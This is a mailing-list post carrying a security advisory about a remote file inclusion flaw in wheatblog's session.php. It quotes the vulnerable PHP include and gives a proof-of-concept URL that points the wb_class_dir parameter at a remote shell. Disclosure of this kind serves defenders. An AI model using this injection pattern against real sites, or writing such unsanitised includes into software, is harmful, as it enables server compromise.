<<< Date Index >>>     <<< Thread Index >>>

wheatblog &#1615;Session.php Remote File Inclusion

###########################################################################################
#Aria-Security.net Advisory                                                     
          #
#Discovered  by: O.U.T.L.A.W                                                    
    #
#< www.Aria-security.net >                                                      
          #
#Gr33t to: A.u.r.a  & l2odon & DrtRp & Sh3ll#
###########################################################################################


<?php
include_once("$wb_class_dir/classDatabase.php");


function Start_Session()
{
        global $session_dir;

        if ( $session_dir != '' )
                session_save_path($session_dir);

        if ( ! isset($_SESSION) )
        {
                session_start();
                // Supposedly a fix for IE6
                header('Cache-control: private');
                My_Cache();

                if ( ! isset($_SESSION['db']) || gettype($_SESSION['db']->db) 
!= 'resource')
                        touchDatabaseSession();

        }
}


---------------------------------------

Proof of Concept:
www.site.com/includes/session.php?wb_class_dir=SHELL

Contact : Outlaw@xxxxxxxxxxxxxxxxx